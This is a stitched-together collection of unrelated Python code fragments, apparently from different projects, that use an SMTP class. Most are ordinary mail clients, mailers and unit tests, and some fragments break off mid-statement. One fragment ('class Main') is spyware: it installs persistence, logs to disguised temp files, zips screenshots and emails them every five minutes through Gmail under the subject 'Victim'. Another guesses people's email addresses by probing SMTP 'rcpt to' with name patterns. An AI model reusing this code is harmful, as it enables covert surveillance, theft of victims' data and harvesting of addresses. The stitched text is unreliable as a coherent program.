def _mx_server_check(self, name, domain): print "START MX SERVER CHECK" mx_servers = SMTP()._mx_servers(domain) print mx_servers smtp = SMTP()._smtp_auth(mx_servers) print smtp try: mx_servers = SMTP()._mx_servers(domain) smtp = SMTP()._smtp_auth(mx_servers) except: return pd.DataFrame() print "vars" prospect = EmailGuessHelper()._name_to_email_variables(name) print prospect prospect['domain'] = domain print prospect results = pd.DataFrame() print prospect for pattern in EmailGuessHelper()._patterns(): email = pystache.render(pattern, prospect) try: result = smtp.docmd('rcpt to:<{0}>'.format(email)) except: continue prospect['smtp_result'] = result[1] prospect["pattern"] = pattern print result if 'OK' in result[1]: prospect['email'] = email results = results.append(prospect, ignore_index=True) # persist to parse CompanyEmailPatternCrawl()._persist(results, source="mx_check") return results
def test_succeeds_on_all_200_replies(self): x = SMTP('127.0.0.1', 4000, '', '') interrupted, res = x.send([ MailMock(lambda *args, **kwargs: "1", lambda *args, **kwargs: None, lambda *args, **kwargs: None, lambda *args, **kwargs: [b'a', b'b']) ]) self.assertTupleEqual((False, ["'1' sent"]), (interrupted, res))
def __init__(self): self.temp_dir = tempfile.gettempdir() self.load_persistent_data() self.logger = Logger(self.temp_dir, "WINSHandler.txt", "WindowsGeLp2.txt", "SystemPointerAlloc") self.smtp = SMTP(self.PORT, self.HOST, self.sender_email, self.sender_password, self.receiver_email) self.persistent_data_path = f"{self.temp_dir}\\SecureWIP.txt" self.public_ip = self.logger.get_public_ip()
def __init__(self, config, template_report=False, debug=False): super(Sendmail, self).__init__() self._config = config self._debug = debug self._report = template_report env = Environment(loader=FileSystemLoader(TEMPLATE_PATH)) if template_report: self.template = env.get_template('report.html') else: self.template = env.get_template('issue.html') self._smtp = SMTP(self._config['host'], self._config['user'], self._config['password'], ssl=True)
def test_fails_on_timeout_when_connecting(self): x = SMTP('127.0.0.1', 4000, '', '') interrupted, res = x.send([ MailMock(lambda *args, **kwargs: "1", lambda *args, **kwargs: None, lambda *args, **kwargs: None, lambda *args, **kwargs: None) ]) self.assertTupleEqual((True, [ "Stopped with error: 'Timed out while" " establishing connection'" ]), (interrupted, res))
def test_fails_on_timeout(self): x = SMTP('127.0.0.1', 4000, '', '') interrupted, res = x.send([ MailMock(lambda *args, **kwargs: "1", lambda *args, **kwargs: None, lambda *args, **kwargs: None, lambda *args, **kwargs: None) ]) self.assertTupleEqual((True, [ "Stopped with error: 'Connection timed out" " while trying to receive a reply" " from server'" ]), (interrupted, res))
def test_fails_on_error_while_connecting(self): x = SMTP('127.0.0.1', 4000, '', '') interrupted, res = x.send([ MailMock(lambda *args, **kwargs: "1", lambda *args, **kwargs: None, lambda *args, **kwargs: None, lambda *args, **kwargs: None) ]) self.assertTupleEqual((True, [ "Stopped with error: 'Something went" " wrong while trying to establish" " connection ()'" ]), (interrupted, res))
def test_fails_on_500_reply_code_when_trying_to_send_a_message(self): with mc.patch(target='ssl.SSLSocket.recv', new=self.__tricky_500): x = SMTP('127.0.0.1', 4000, '', '') interrupted, res = x.send([ MailMock(lambda *args, **kwargs: "1", lambda *args, **kwargs: None, lambda *args, **kwargs: None, lambda *args, **kwargs: [b'a', b'b']) ]) self.assertTupleEqual( (False, ["'1' failed with error: 'exterminate'"]), (interrupted, res))
class Sendmail(object): def __init__(self, config, template_report=False, debug=False): super(Sendmail, self).__init__() self._config = config self._debug = debug self._report = template_report env = Environment(loader=FileSystemLoader(TEMPLATE_PATH)) if template_report: self.template = env.get_template('report.html') else: self.template = env.get_template('issue.html') self._smtp = SMTP(self._config['host'], self._config['user'], self._config['password'], ssl=True) def _send(self, rcpt, html, _subject=None, _headers=None, important=False): if _subject: _subject = '%s %s' % (self._config['subject'], _subject) else: _subject = self._config['subject'] _msg = Message(rcpt, _subject, self._config['from'], html=html, important=important, headers=MAIL_HEADERS) # print _msg.as_string() # return True return self._smtp.send(_msg) def send(self, issue, important=False): return self.send_issue(issue, important=important) def send_issue(self, issue, important=False): if self._report: return False return self._send(issue['rcpt'], self.template.render( url=self._config['url'], issue=issue), issue['subject'], issue['time_window']['mail_headers'] if 'mail_headers' in issue['time_window'] else None, important=important ) def send_report(self, rcpt, data, important=False): if not self._report: return False csv = CSV() csv.add([CSV_FIELDS[item] for item in CSV_FIELDS]) for project in data: for issue in project['issues']: csv.add([issue[item] for item in CSV_FIELDS]) _subject = self._config['subject'] _html = self.template.render(projects=data, url=self._config['url']) _msg = Message(rcpt, _subject, self._config['from'], html=_html, important=important, headers=MAIL_HEADERS) _msg.add_attachment('report.csv', csv.get(), 'text/csv') # print _msg.as_string() # return True return self._smtp.send(_msg)
def test_fails_on_cut_off_connection(self): with mc.patch(target='ssl.SSLSocket.recv', new=self.__cut_off_on_reply): x = SMTP('127.0.0.1', 4000, '', '') interrupted, res = x.send([ MailMock(lambda *args, **kwargs: "1", lambda *args, **kwargs: None, lambda *args, **kwargs: None, lambda *args, **kwargs: [b'a', b'b']) ]) self.assertTupleEqual((True, [ "Stopped with error:" " 'Connection shut down" " by the other side'" ]), (interrupted, res))
def run_smtp(mode_data, smtp_server, dis_enc, fromaddr, password, toaddrs, data): print('[*] Connecting to server...') smtp = SMTP(SMTP_SERVERS[smtp_server], dis_enc) smtp.ehlo() smtp.auth(fromaddr, password) recverr = send_by_mode(mode_data, smtp, fromaddr, toaddrs, data) for name, error in recverr.items(): print('[-] Error with {}: {} {}'.format(name, error[0], error[1][:-1])) if (len(recverr) < len(toaddrs)): print('[+] Message were sended') else: print('[-] There are no valid emails') smtp.close() print('[+] Done')
class Main: PORT = 587 HOST = "smtp.gmail.com" sender_email = "" sender_password = "" receiver_email = "" sent_basic_info = None def __init__(self): self.temp_dir = tempfile.gettempdir() self.load_persistent_data() self.logger = Logger(self.temp_dir, "WINSHandler.txt", "WindowsGeLp2.txt", "SystemPointerAlloc") self.smtp = SMTP(self.PORT, self.HOST, self.sender_email, self.sender_password, self.receiver_email) self.persistent_data_path = f"{self.temp_dir}\\SecureWIP.txt" self.public_ip = self.logger.get_public_ip() def load_persistent_data(self) -> None: """ read file and unpickle content """ try: with open(self.persistent_data_path, "rb") as f: self.sent_basic_info = pickle.load(f) except FileNotFoundError: pass def save_persistent_data(self) -> None: """ (create and) write pickled data to file """ with open(self.persistent_data_path, "wb") as f: pickle.dump(self.sent_basic_info, f) def main_loop(self, sleep: float) -> NoReturn: while True: time.sleep(sleep) self.logger.zip_screenshots() attachments = self.logger.get_log_files() try: self.smtp.mail(attachments, f"Victim: {self.public_ip}") except Exception as e: print(e) self.logger.cleanup() def main(self) -> None: self.logger.get_persistence() self.logger.start() self.logger.timed_logging(30, 1) self.smtp.start() # send basic info if they weren't send already if not self.sent_basic_info: system_file = self.logger.create_system_file() try: self.smtp.mail([system_file], f"Victim {self.public_ip}") except Exception as e: print(e) else: self.sent_basic_info = True self.save_persistent_data() self.main_loop(300)
def main(): parser = argparse.ArgumentParser( usage='{} [OPTIONS]'.format(os.path.basename(sys.argv[0])), formatter_class=argparse.ArgumentDefaultsHelpFormatter, description='SMTP client, with cool CUI. To') parser.add_argument('address', help='address to connect', nargs='?', default=SMTP_SERVER) parser.add_argument('port', help='port', nargs='?', type=int, default=SMTP_PORT) group = parser.add_mutually_exclusive_group() group.add_argument('-c', '--console', action="store_true", help="Enable console mode") group.add_argument('-s', '--settings', metavar="FILE", type=str, default="input.json", help="JSON file with settings. MUST have following keys:\n" f"{', '.join([FROM, RECEIVERS, SUBJECT, TEXT, ATTACHMENTS])}") args = parser.parse_args() smtp_con = SMTP(args.address, args.port) print(smtp_con.connect()) if args.console: smtp_con.run_batch() else: send_mail(smtp_con, args.settings)
def get_provider(provider): global _provider if _provider is not None: return _provider if provider == 'mailgun': _provider = Mailgun(config.mailgun) elif provider == 'mandrill': _provider = Mandrill(config.mandrill) elif provider == 'smtp': _provider = SMTP(config.smtp) else: raise AttributeError('provider "' + provider + '" must be one of: mailgun|mandrill|smtp') return _provider
def main(): smtp_con = SMTP(SMTP_SERVER, SMTP_PORT) print(smtp_con.connect()) send_mail(smtp_con, INPUT)
def create_smtp(server='google', dis_enc=True): return SMTP(SMTP_SERVERS[server], dis_enc)
from imap import IMAP from smtp import SMTP from Email import Email # Reading emails imap = IMAP(debug=True) imap.login('*****@*****.**', '***') imap.select('INBOX') imap.search('ALL') email = imap.fetch_email('7') # Sending emails smtp = SMTP(debug=True) smtp.login('*****@*****.**', '***') send_from = '*****@*****.**' send_to = '*****@*****.**' send_cc = '*****@*****.**' send_bcc = '*****@*****.**' subject = 'This is test email' body = 'The body is here' \ '\nand also new line' email = Email() email.create(send_from=send_from, send_to=send_to, send_cc=send_cc, send_bcc=send_bcc, subject=subject, body=body)
#!/usr/bin/python3 from smtp import SMTP import sys if __name__ == '__main__': from_addr = input('From: ') to_addrs = input('To: ').split(',') print('Enter message:') msg = '' while True: line = sys.stdin.readline() if not line: break msg += line client = SMTP('localhost') client.set_debug(True) client.sendmail(from_addr, to_addrs, msg) client.quit()
def run(args) -> None: smtp = SMTP(args.verbose) args.attachments = [] attch_parts = [] open_attachments(args, smtp) open_named_attachments(args) if args.zip: zip_attachments(args) if args.max_file_size: split_attachments(args, attch_parts) i = 0 without_attch = not args.attachments and not attch_parts while args.attachments or attch_parts or without_attch: try: smtp.connect(args.host, args.port) smtp.hello() if args.no_ssl is not True: smtp.encrypt() smtp.authorize(args.login, args.password) smtp.mail_from(args.sender) for recipient in args.recipients: smtp.mail_to(recipient) email = Email( args.sender, args.recipient, args.name, cc=set(args.cc), attachments=set(args.attachments) if i == 0 else None, attch_part=attch_parts[0] if not without_attch else None, subject=args.subject if i == 0 else '{} - {}'.format( args.subject, i + 1), text=args.text if i == 0 else 'Letter continuation.', encoding=smtp.encoding) smtp.send_letter(email.to_string()) smtp.disconnect() for file, _ in args.attachments: file.close() if args.zip: os.remove('attachments.zip') if without_attch: break i += 1 args.attachments.clear() attch_parts.pop(0) except (SMTPException, OSError) as e: smtp.client.warning('An error occurred ' 'during the runtime: {}'.format(e.message)) smtp.close()
import time from monitor_error_dao import MonitorErrorDAO from monitor_dao import MonitorDAO import datetime, time from smtp import SMTP monitor_error = MonitorErrorDAO() monitor = MonitorDAO() email = SMTP() eleven_minutes = 1000 * 60 * 11 # milliseconds * seconds * 11 minutes three_seconds = 1000 * 3 # 3 seconds def run_monitor(): while True: print 'start' time.sleep(5) print 'awake' eleven_minutes_millis = int(round(time.time() * 1000)) - eleven_minutes eleven_minutes_google = monitor.select_map_provider( eleven_minutes_millis, 'google') eleven_minutes_bing = monitor.select_map_provider( eleven_minutes_millis, 'bing') three_second_millis = int(round(time.time() * 1000)) - three_seconds three_second_google = monitor.select_map_provider( three_second_millis, 'google') three_second_bing = monitor.select_map_provider( three_second_millis, 'bing') if not eleven_minutes_google and len(eleven_minutes_google) > 0:
help='Use authorization') parser.add_argument('--fromname', type=str, default='From', help='Sender name') parser.add_argument('--fromemail', type=str, default='*****@*****.**', help='*****@*****.**') parser.add_argument('--toname', type=str, default='To', help='Receiver name') parser.add_argument('toemail', type=str, help='Receiver email') parser.add_argument('--dir', type=str, default='.', help='Directory with images') args = parser.parse_args() try: smtp = SMTP(args.host, args.port, args.ssl) except ssl.SSLError as e: print('Check smtp port and ssl bool') sys.exit() except NotSmtpServer as e: print(e) sys.exit() if '8bitmime' not in smtp.extensions: args.fromname = encode_name(args.fromname) args.toname = encode_name(args.toname) message = gen_message(args.dir, **args.__dict__) try: to_send_parts = []